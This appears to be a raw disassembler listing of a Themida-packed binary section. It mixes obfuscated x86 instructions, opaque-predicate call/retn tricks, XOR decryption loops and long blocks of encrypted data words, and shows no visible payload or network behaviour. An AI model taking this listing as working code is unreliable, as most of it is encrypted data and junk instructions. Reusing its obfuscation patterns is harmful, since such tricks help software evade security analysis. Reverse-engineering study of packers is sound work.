pop esp
pop es
; ---------------------------------------------------------------------------
db 0
dd 6A061C00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 3C8CC357h, 60375F7Fh, 226D9D8Bh
dd 8D010615h, 61502A5h, 8E99061h, 0C3000000h, 2DC519EAh
dd 50D5B306h, 0DF8B6690h, 0B529006Ah, 6150D1Dh, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0C9A95EC3h, 0F583E46h, 682h, 51958900h, 8D061515h, 1C412185h
dd 90D98B06h, 5AE4BA66h, 830F50h, 90000000h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C4C35747h, 30A825C8h
dd 2504E08Ch, 1D8D9D33h, 81660615h, 6A06D8CFh, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 4472EE84h, 1EC72C6h, 0F560006Ah, 9F18D89h, 0FF610615h
dd 15267995h, 69B58906h, 0E9061506h, 5BDh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0ECC35545h, 9D316273h
dd 61533B5h, 0E8h, 0ED815D00h, 61C4126h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E1C35343h, 0CC409266h
dd 85E3F93Bh, 6AF5B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 0D7E423C3h, 7A823285h, 4FC9811Dh
dd 0E872A581h, 4, 0FA0h, 24448B50h, 37B95704h, 5B744BFAh
dd 11E9008Bh, 48000000h, 232D50EAh, 37951452h, 0EE180B0Ah
dd 50CC87BEh, 4244489h, 58CA8B66h, 68B0Fh, 0B5890000h
dd 6152925h, 2E2195FFh, 11E80615h, 8B000000h, 5E453A5Bh
dd 0F4E17DC9h, 5F12DCABh, 254BCE60h, 0DE8h, 617ED900h
dd 62B871E5h, 0BF38B644h, 0BA660110h, 5A5A5953h, 8D59FC56h
dd 1C3FE4B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 0D6B92FFFh, 1CFC8957h, 6C7293Bh
dd 6D676552h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 8DC35545h, 0C7D98B4Fh, 6E6F0446h, 95896C63h, 6152B3Dh
dd 610846C7h, 6A007373h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 82B3C352h, 6E9A0B1h
dd 0CE000000h, 5D8F80FAh, 60006A6Bh, 0D6815E52h, 2F6E400h
dd 0E4858D61h, 2B061C3Fh, 1503719Dh, 9BF5006h, 8949B877h
dd 9E92404h, 8A000000h, 0D017DA9h, 153E4D7Eh, 17F595FFh
dd 840F0615h, 19h, 14E9h, 9266E100h, 0F93BCC40h, 1FB685E3h
dd 838CA18Ch, 1BA6E3C4h, 0FC00B6Eh, 2984h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 8B66CB02h, 36BE9D9h, 0BB660000h, 4C684404h, 56F968C5h
dd 2404815Fh, 6973BE0h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 7DC35242h, 0C94D4B96h, 4D2EDF82h, 2E999589h
dd 10E80615h, 59000000h, 12A8F78Dh, 0B71FA713h, 294377E5h
dd 0E998D8EBh, 0Ch, 45F6E2ADh, 0C502B502h, 4A58A98h, 2195FF5Fh
dd 6A06152Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 465BC356h, 0FEF7B3E8h, 9D8B8CC5h
dd 61503C1h, 3FE4B58Dh, 0B70F061Ch, 0BA5060D2h, 4453C85Eh
dd 6C7615Ah, 36343831h, 446C7F9h, 31342D37h, 0E98D3360h
dd 0E906152Eh, 14h, 8FD37432h, 0D998FA76h, 0EDE1140Eh
dd 4556E474h, 0D88EB7A2h, 846C761h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5EDE17
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EDE17 proc near ; CODE XREF: Themida_:005EDE0Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
loc_5EDE24: ; CODE XREF: Themida_:005EDE29j
inc ebx
push ebx
retn
sub_5EDE17 endp
; ---------------------------------------------------------------------------
mov al, 21h
jle short loc_5EDE24
enter 6240h, 3Ch
push 0
push 0
push ebx
call sub_5EDE3C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EDE3C proc near ; CODE XREF: Themida_:005EDE34p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5EDE3C endp
; ---------------------------------------------------------------------------
lea ebp, [esi-15h]
xchg edx, [ebx-4Eh]
push ds
lea eax, [ebp+61C3FE4h]
mov [ebp+6152585h], esi
push eax
mov ch, 79h
mov [esp], eax
xor [ebp+6151345h], esi
cld
call dword ptr [ebp+61517F5h]
push 0
push eax
call sub_5EDE7D
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EDE7D proc near ; CODE XREF: Themida_:005EDE75p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5EDE7D endp
; ---------------------------------------------------------------------------
xchg eax, ebx
inc esp
ror dword ptr [eax+69h], 6Ah
sub ch, bl
das
ja short near ptr loc_5EDEA5+2
mov bh, 0FFh
push edx
jno loc_5EDEA4
sbb dl, 0AEh
loc_5EDEA4: ; CODE XREF: Themida_:005EDE9Bj
pop ecx
loc_5EDEA5: ; CODE XREF: Themida_:005EDE96j
js loc_5EDEB1
mov ebx, [ebp+6153095h]
loc_5EDEB1: ; CODE XREF: Themida_:loc_5EDEA5j
or eax, eax
jz loc_5EDECB
sub [ebp+6151889h], edx
cld
jmp loc_5EE09D
; ---------------------------------------------------------------------------
mov [ebp+6150559h], ebx
loc_5EDECB: ; CODE XREF: Themida_:005EDEB3j
call sub_5EDED4
sub al, 1
; ---------------------------------------------------------------------------
dw 0
; =============== S U B R O U T I N E =======================================
sub_5EDED4 proc near ; CODE XREF: Themida_:loc_5EDECBp
mov edx, 47BF5EFh
push eax
pusha
jno loc_5EDEE3
push edi
pop edx
loc_5EDEE3: ; CODE XREF: sub_5EDED4+7j
jmp loc_5EDEF1
; ---------------------------------------------------------------------------
dd 0BA500176h, 9C4440DAh
db 12h
; ---------------------------------------------------------------------------
loc_5EDEF1: ; CODE XREF: sub_5EDED4:loc_5EDEE3j
popa
mov eax, [esp+4]
mov dh, 71h
mov eax, [eax]
mov cx, dx
mov [esp+4], eax
mov ebx, 0CCB3808h
pop eax
push 0
push esi
call sub_5EDF12
and [esi-3Dh], bl
sub_5EDED4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5EDF12 proc near ; CODE XREF: sub_5EDED4+36p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5EDF12 endp
; ---------------------------------------------------------------------------
dw 0C765h
dd 0DDC29642h, 0FFFD72F1h, 152E2195h, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 840F6FFAh, 6, 1B63E781h, 0B58D3710h, 61C3FE4h, 694606C7h
dd 0FE9656Ch, 33000000h, 0D4881E7Bh, 0DD96673Ch, 62AE2D7Dh
dd 46C7FC2Ah, 6E6F6D04h, 0B5B58963h, 8B061508h, 1508318Dh
dd 846C706h, 7373616Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 0D8C35545h, 1A1CCDADh, 95332B4Ch, 6151509h
dd 0C7F8B70Fh, 0C46h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 319BC1C3h, 4985898Eh
dd 60061522h, 0E9F28B66h, 14h, 49997470h, 3CF4B485h, 72066A87h
dd 956ECF2Ch, 5469BAC9h, 8B006A61h, 153041BDh, 0E4858D06h
dd 8B061C3Fh, 151D25BDh, 0B9509006h, 67A0B88Fh, 8B90505Bh
dd 1530458Dh, 0E58D8906h, 0FF06151Ch, 1517F595h, 12E806h
dd 7B4F0000h, 0E66B653Ah, 3F3210BAh, 4D512C1Ch, 0D0E18167h
dd 30358D03h, 0B5B0615h, 33840FC0h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 781FC353h, 83FDD9B9h, 18D89C7h, 8906152Bh, 151675B5h
dd 0BE906h, 0B9E90000h, 8BFFFFFAh, 1521719Dh
; ---------------------------------------------------------------------------
push es
loc_5EE09D: ; CODE XREF: Themida_:005EDEC0j
lea esi, [ebp+615720Dh]
or [ebp+61507C1h], ebx
mov eax, 0
push 0
push esi
call sub_5EE0B9
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EE0B9 proc near ; CODE XREF: Themida_:005EE0B1p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5EE0B9 endp
; ---------------------------------------------------------------------------
db 97h, 0B8h, 58h
dd 4A37556Ch, 958B8123h, 6152295h, 45FE72BFh, 0E9E6FF72h
dd 5, 86124D8Ah, 0FEC18B98h, 0F4053CAh, 4BC8D0A8h, 0F409E8Ah
dd 0EAD5ABA8h, 0F417675h, 4BC9DEA8h, 0AE5DBA8Ah, 4BC98B57h
dd 0F46668Ah, 0EAD5ABA8h, 0F462975h, 4BCEF9A8h, 0F46AB8Ah
dd 4BCF7BA8h, 0F472D8Ah, 0EAD5ABA8h, 0D42F2575h, 1336134Fh
dd 171CC003h, 90A752B4h, 57BE0DDFh, 53E8D121h, 0D42F4396h
dd 13361C04h, 1764C003h, 90A752B4h, 57BE0C8Eh, 53E4D121h
dd 0D42F4396h, 13361DF3h, 1770C003h, 90A752B4h, 57BE0C3Ah
dd 53F0D121h, 0D42F4396h, 13361D5Ch, 177CC003h, 90A752B4h
dd 57BE0FB7h, 53CCD121h, 0D42F4396h, 13361ED6h, 1748C003h
dd 90A752B4h, 57BE0F35h, 53C4D121h, 0D42F4396h, 13361FA8h
dd 1750C003h, 90A752B4h, 57BE0EB3h, 53DCD121h, 0B8C34396h
dd 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0B4C0D5F2h
dd 96A459CDh, 152AA8EDh, 2429458Ah, 96E367A0h, 0D5ADBAB4h
dd 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h, 8FD3Ah
dd 5342848Ch, 0EA2211ABh, 245D55FFh, 9C3AABA4h, 0DAC3B9CFh
dd 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh, 0D2262923h
dd 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h, 0DB2FEE27h
dd 133663E7h, 1129475h, 5AA0D902h, 0AEA459BDh, 51A1EC79h
dd 0DC0941AEh, 91D1B22h, 3773BA8Ch, 732ADF10h, 1E28C821h
dd 0EA2C489Fh, 152BFD5Bh, 9881508Ch, 4D950A00h, 0A5FBABAEh
dd 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
dd 0FD4AA86Ch, 51A2458Ah, 74C0D5F2h, 0DAA459C2h, 68A15CDDh
dd 0ADE78286h, 152A54A8h, 0DC30BACCh, 9E2C418Dh, 0FC69CE52h
dd 0A5B99783h, 0FA31EFE2h, 5AA0D9F9h, 0AEA459BDh, 949A0D79h
dd 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h
dd 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah, 5D92BE29h
dd 24294396h, 1957DFA0h, 515E004Dh, 532A54A8h, 742FD775h
dd 0CDA152BDh, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h, 5AA0D9F9h
dd 0AEA459BDh, 949A0D79h, 651A2320h, 8481328Ch, 5DDF6E21h
dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h
dd 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh, 919197B9h
dd 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh, 1523EDA8h
dd 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h, 37AA8E4Bh
dd 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh, 9E7F54A0h
dd 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh, 0C20E458Ah
dd 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah, 9125AB54h
dd 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah
dd 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h, 0DCD61123h
dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh
dd 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h, 91D1B22h
dd 0E173BA8Ch, 9FA7FEF8h, 57BE72C5h, 0D6A08557h, 5DDF6E20h
dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h
dd 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh, 730BD775h
dd 452652BDh, 1E28C820h, 0EA2C489Fh, 0FB2BF55Bh, 3186949Bh
dd 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh
dd 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh, 0E96F93A4h
dd 51A2458Ah, 87D5FE04h, 57B76007h, 17868C23h, 0DB2FEF49h
dd 133663E7h, 0E9C49475h, 0BE4CBD28h, 7A088600h, 68A358D5h
dd 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh, 0DAAA3001h
dd 50ED58D5h, 51A24576h, 0EA80F8A8h, 4487C818h, 0B9E2DFAEh
dd 0DC088558h, 91D1B32h, 3771BA8Ch, 73E39410h, 0FB63CF21h
dd 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h, 0E9EED744h
dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h, 742FD775h
dd 0DDA152BDh, 0FB637726h, 2265CE25h, 825D4396h, 0E4AAECCEh
dd 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h, 4A24D48h
dd 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh, 732A54A8h
dd 376B7732h, 5AB0D903h, 0AEA459BDh, 9592327Bh, 0FD09234Bh
dd 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h, 96C6DFFDh
dd 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h, 0B824FDECh
dd 8FA7FFCEh, 57BE72C5h, 0A09A8757h, 0FB0E0320h, 2265CE25h
dd 825D4396h, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh
dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 9CC0D5F2h
dd 96A459C1h, 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h
dd 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch
dd 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah
dd 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h, 5394CE25h
dd 0DCF14396h, 96DC132h, 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah
dd 60D558DDh, 9F38C882h, 462C48EEh, 1637DF07h, 0C6D552B4h
dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 57BE0350h
dd 80B0D9FBh, 0AEA459CDh, 0E96FDD7Bh, 51A25863h, 195FABA8h
dd 0DCAA3075h, 96CB232h, 0CB2F168Ch, 1336133Dh, 142B9675h
dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 8D000030h
dd 1534499Dh, 23E4B806h, 85890000h, 615090Dh, 0E8h, 0D055800h
dd 89000000h, 23E4E903h
db 2 dup(0)
word_5EE6A6 dw 0 ; DATA XREF: Themida_:0057CE78o
dd 157h dup(0)
db 2 dup(0)
word_5EEC06 dw 0 ; DATA XREF: Themida_:00579D2Co
dd 1Dh dup(0)
dword_5EEC7C dd 781h dup(0) db 2 dup(0)
word_5F0A82 dw 0 ; DATA XREF: Themida_:0057A4C0o
dd 0
dd 9E80000h, 5B000000h, 0B79F10DDh, 5F424665h, 820F6050h
dd 0
; ---------------------------------------------------------------------------
jmp loc_5F0AAE
; ---------------------------------------------------------------------------
db 1, 0F6h, 0DAh
dd 2DAA3454h
db 0E5h, 35h
; ---------------------------------------------------------------------------
loc_5F0AAE: ; CODE XREF: Themida_:005F0AA0j
popa
pop ecx
pop edi
add dx, 0D00Ah
add edi, 0E6DDh
mov ecx, 116BB380h
push 0
mov cx, si
pop eax
mov edx, 3E1DA0A8h
loc_5F0ACF: ; CODE XREF: Themida_:005F0B61j
mov esi, [edi+eax]
mov dx, cx
xor esi, 7D39B8F5h
push eax
add bx, 0FDA6h
pop ebx
xor esi, 462B5CA4h
adc cx, 5AFBh
sub esi, 23D6FB5Eh
mov dh, 0FEh
push esi
pusha
mov bl, dh
mov di, si
popa
pop dword ptr [edi+eax]
call near ptr loc_5F0B15+3
rep sbb bl, cl
cwde
outsb
or [ebp-69h], dh
inc edi
jbe short near ptr loc_5F0B11+1
dec eax
loc_5F0B11: ; CODE XREF: Themida_:005F0B0Ej
adc [eax], dl
mov [esi], al
loc_5F0B15: ; CODE XREF: Themida_:005F0B00p
mov al, ds:8B6638D6h
xlat
pop edx
jmp loc_5F0B29
; ---------------------------------------------------------------------------
push ebp
aam 0CBh
sub [edx+eax*8-5Dh], dl
das
loc_5F0B29: ; CODE XREF: Themida_:005F0B1Cj
sub eax, 4
add ebx, 32AC2C26h
cmp eax, 0FFFF1A00h
jnz loc_5F0B51
mov dx, ax
jmp loc_5F0B70
; ---------------------------------------------------------------------------
dw 1D61h
; ---------------------------------------------------------------------------
and al, 97h
fcomp qword ptr [esi-3Eh]
aad 7Eh
inc ebp
pop edx
loc_5F0B51: ; CODE XREF: Themida_:005F0B38j
pusha
mov di, cx
jle loc_5F0B60
mov ebx, 27F8E7C3h
loc_5F0B60: ; CODE XREF: Themida_:005F0B55j
popa
jmp loc_5F0ACF
; ---------------------------------------------------------------------------
dw 96A9h
dd 5886D2DFh, 0A1DF3B7Ah
; ---------------------------------------------------------------------------
loc_5F0B70: ; CODE XREF: Themida_:005F0B41j
call sub_5F0B88
dec ebx
add eax, 0AA202C3Dh
add [edx+eax], edi
inc esi
popa
popf
cmc
fld tbyte ptr ds:0C6E4244Ch
; =============== S U B R O U T I N E =======================================
sub_5F0B88 proc near ; CODE XREF: Themida_:loc_5F0B70p
mov bl, dl
pop ecx
push edi
push ebx
jg $+6
pop esi
pop esi
add ecx, 661Ch
push 1955h
adc dh, 6Bh
pop edi
push eax
pusha
jge $+6
push esi
pop ebx
popa
pop esi
loc_5F0BB0: ; CODE XREF: sub_5F0C13+1Ej
push dword ptr [ecx]
jp loc_5F0BBC
mov dx, 3531h
loc_5F0BBC: ; CODE XREF: sub_5F0B88+2Aj
pop eax
mov bx, 0D1FBh
xor eax, 7F881FA1h
call near ptr loc_5F0BD6+2
db 26h
adc esi, ebx
xor ebx, edi
test eax, 0F820EAB8h
loc_5F0BD6: ; CODE XREF: sub_5F0B88+3Fp
cmp byte ptr [eax-7Fh], 0F6h
sub_5F0B88 endp ; sp-analysis failed
push esi
push 0FFFFFFCFh
das
pop ebx
add eax, 22CD7905h
adc esi, 615BA802h
sub eax, 6F3383ABh
pusha
mov ebx, eax
popa
mov [ecx], eax
jz loc_5F0C19
call near ptr sub_5F0C13
inc ebp
lock cld
mov ch, 0DCh
hlt
; ---------------------------------------------------------------------------
dd 4914D6E4h, 11C6054Ah
db 7Eh, 69h, 30h
; =============== S U B R O U T I N E =======================================
sub_5F0C13 proc far ; CODE XREF: Themida_:005F0BFDp
var_36 = dword ptr -36h
var_32 = dword ptr -32h
var_2E = dword ptr -2Eh
var_2A = dword ptr -2Ah
var_26 = word ptr -26h
; FUNCTION CHUNK AT 00581882 SIZE 00000055 BYTES
; FUNCTION CHUNK AT 00581961 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00581F61 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058297A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005845C6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005852FE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058539A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005856F3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005858C8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00585C39 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00585CC6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00586F32 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00587B50 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005886EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005889E1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00588E0D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058917D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00589B64 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B824 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058BAC8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058C144 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058D523 SIZE 0000000E BYTES
mov ebx, 29F563BFh
pop edx
loc_5F0C19: ; CODE XREF: Themida_:005F0BF7j
sub ecx, 3AF74C09h
mov si, 2384h
add ecx, 3AF74C05h
or si, 5DD4h
sub edi, 1
jnz loc_5F0BB0
jmp loc_5F0C41
; ---------------------------------------------------------------------------
dd 8D4B5672h
db 0E1h
; ---------------------------------------------------------------------------
loc_5F0C41: ; CODE XREF: sub_5F0C13+24j
jmp loc_5F0C55
; ---------------------------------------------------------------------------
dec ebx
pop eax
retf 47h
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5F0C55: ; CODE XREF: sub_5F0C13:loc_5F0C41j
jmp loc_5F1A8D
; ---------------------------------------------------------------------------
push 61C74CFh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61C75E1h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61C7690h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61C7723h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61C7AB7h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61C7E15h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61C7EEDh
jmp loc_581882
; ---------------------------------------------------------------------------
dd 0CCA91995h, 9362D257h, 0E4B1219Ch, 9C79E94Fh, 0E2B32387h
dd 67CBC6C5h, 0AE111EF7h, 6CC8573Eh, 0A90A19FCh, 636B5C39h
dd 9A80B9E0h, 79C34416h, 6056C624h, 0BD81F153h, 3392F374h
dd 1086F2EEh, 0F793BC8Dh, 3A6A0E9Ch, 1A69A124h, 23F4169Ch
dd 3697161Bh, 93DA4A8Fh, 4F603116h, 9A947647h, 89F97FB4h
dd 0EBDAB08Dh, 1693DAA2h, 0F9F9E44Bh, 0DA3960E3h, 0FBC41693h
dd 0B4464567h, 28C2EDA2h, 0BD2D006Dh, 43889Dh, 98C60000h
dd 93F5E42Dh, 0D4B68716h, 0E30BAB60h, 83ADDE0Eh, 29351AACh
dd 9BE3BE9Ah, 73D2BF16h, 8BEA2C03h, 1693D042h, 9959842Bh
dd 6BAB1B98h, 0D0F9CC92h, 9B1693D0h, 48B5E08Ah, 0D09DBD3Ch
dd 19h, 0DF624FECh, 0ADF44F6Fh, 501086F2h, 862F8B7Fh, 2D000009h
dd 5436A604h, 57C724E0h, 81F1525Fh, 0C2F2C6F4h, 0F6CEDBFCh
dd 30ABB5DDh, 0D9DA045Ah, 0A500EA5Ah, 169B236Dh, 0D6FFDFF0h
dd 360DB6E7h, 1693C513h, 8DEEC9DAh, 0B87614A9h, 0EB5BDDD6h
dd 2479A4FFh, 0D6F1693h, 2888999Dh, 0E777EB8h, 2BE6449Fh
dd 84696E84h, 183B27E4h, 50DDD8B2h, 0F29DBDC3h, 5F3059ECh
dd 0CA2E1693h, 35D5E65Ah, 4E05h, 0BAB2100h, 3D903DBh, 0D96B30D2h
dd 5DC886DDh, 10865934h, 682B594Eh, 8E324893h, 68AE1EA1h
dd 0F3D2B897h, 169B8147h, 2442DF6h, 0B6E83FE7h, 82AF9D99h
dd 0CBFA9000h, 1693E782h, 3019C46Bh, 9DBD2ECDh, 0FE53h
dd 0CD288900h, 2485AD5Dh, 525F57C7h, 9D9680F0h, 0C131921Eh
dd 38BBA8EEh, 0F2256CD7h, 0B73B1086h, 0C27E4F47h, 7A37DEF1h
dd 1086F773h, 0FF960665h, 5B63D330h, 65D53081h, 86F799C0h
dd 0E050D710h, 5667D9B6h, 50F07AB4h, 1738A804h, 1888EA47h
dd 98DA093Fh, 9F4BBDDAh, 269DBF9Dh, 1086B0E3h, 0B0749D28h
dd 26F71086h, 0E2C1A97Ah, 169C473Eh, 65D5545Dh, 0AAE5C31h
dd 0AA4E5C39h, 397A647Ah, 60D02DB9h, 94765936h, 8BCA0629h
dd 0F6EC310h, 0FACBEB9Fh, 61E4FAE4h, 1CABF338h, 0E656D6C3h
dd 1AF0DFB0h, 0CC319919h, 0CDB46FBAh, 2566AB1Ah, 34051CABh
dd 0D261341Bh, 0F37D0070h, 0ECB1C2C2h, 0ADC6ACAh, 93F30000h
dd 5CDD5223h, 9B1A09ECh, 53D54A2Bh, 9D1D12E3h, 5853482Dh
dd 950565h, 0B95CCC33h, 0FB9A0A6Ah, 0BE57C724h, 577A4915h
dd 16169A86h, 0C624E755h, 1370BF56h, 0AB66D2A3h, 4003DB0Bh
dd 169BF5F0h, 34A4062Bh, 65516256h, 93F1BFDEh, 0E252B116h
dd 0CC3CBFB4h, 11BC6DCAh, 0EC178D2h, 0BD1CAE3Bh, 0EA369Dh
dd 63740000h, 0FD1D599Eh, 0B08670CDh, 0D839627h, 60A91C22h
dd 0B169368h, 24EC503Ah, 525F57C7h, 2F9680F0h, 1086F7CEh
dd 0EBF363E0h, 0BFF767C6h, 0E2511CCEh, 0C4EDF161h, 1816F464h
dd 21A2EE92h, 0A78885B1h, 642C97h, 3809169Ch, 40B00D26h
dd 67198156h, 100095A4h, 7A404B3Fh, 0E5419EC6h, 0B08935E0h
dd 9C96BF9Fh, 58814497h, 2316936Fh, 0CFF84512h, 3E055733h
dd 108B6192h, 2970D309h, 0D41CAB6Dh, 6D2E73D2h, 0FCCD1CABh
dd 9A8737D3h, 0B5258B17h, 8CA39C9Ah, 910181B2h, 5BCB2F04h
dd 0C2FB36C2h, 2B87ADB1h, 9CAh, 5C39A905h, 23F262C7h, 0B441B10Ch
dd 0EC89F97Fh, 0B243B337h, 77FBB6F5h, 3EC16E07h, 7CF827CEh
dd 39BA690Ch, 0B39B2CC9h, 9A87C910h, 933B416h, 0BF56C624h
dd 0A616969Bh, 3EEB9F70h, 84A84DBDh, 72E2624Fh, 729F4B44h
dd 7C75A111h, 0ADAF8FFFh, 86F2F316h, 0C1A97A10h, 9D180BB2h
dd 6FAB3EB8h, 3F2BC294h, 0D959A559h, 7F502D69h, 157CE45Fh
dd 3001169Bh, 0DB15576Eh, 0EA8EBC59h, 8D21A4BAh, 90B94732h
dd 4DF177BFh, 0A81B411Dh, 0A576A261h, 0D4F3B0Ch, 6F34CB36h
dd 0BD8192A3h, 0EE87F774h, 0CB52C241h, 1E7D839h, 1B2C88AEh
dd 0B4000009h, 0F42BCA3Ah, 0C3700575h, 0EC43D242h, 0AA791C8Ch
dd 5E3DD848h, 0A010722Dh, 69D95ED5h, 0A515978Ch, 70E063D0h
dd 992C32A5h, 169A8470h, 24C27AFBh, 0D95F57C7h, 0C8E9F525h
dd 82BA026Ah, 0FB0DA403h, 0A52036D4h, 169C0821h, 565B6334h
dd 0A08F66D6h, 0ADAAB424h, 4123DC80h, 0C0AE0ABh, 93C060A9h
dd 30CD1016h, 0D6AA1692h, 0B12D98A6h, 0B4108EB0h, 77FADBE3h
dd 43863D4Dh, 2A1CACA3h, 93C63E19h, 7081AB5Fh, 0B2DAA313h
dd 0A9B1C67Dh, 888278Bh, 0E7470000h, 30919E77h, 7FFE35C0h
dd 37B9660Fh, 81012EC7h, 64278411h, 0BC59C929h, 5900067h
dd 0B75ECE2Eh, 0FA9B0B68h, 1B3E05C9h, 0E2169A85h, 0BAB1B21h
dd 4C4003DBh, 0AF169BF2h, 0CB930382h, 93F2D1F8h, 0DF8B9C16h
dd 0E3D0EEBFh, 0D8C6F060h, 93F2246Dh, 0D9F6C716h, 8BEE0331h
dd 0D8235123h, 69460E5Fh, 6CDC5C55h, 466BEF7Eh, 9B9872E2h
dd 0A70A616h, 8C370737h, 1693611Dh, 60D03360h, 61A2E75Eh
dd 78491693h, 0B5645F57h, 0CC3CBD0Ah, 61418C29h, 5B1E1693h
dd 5B0132Bh, 38169361h, 20A18E67h, 61DD04BFh, 0AC131693h
dd 9B05FA3Ch, 9899A58Ah, 906DA919h, 8CB93CFAh, 0D4169360h
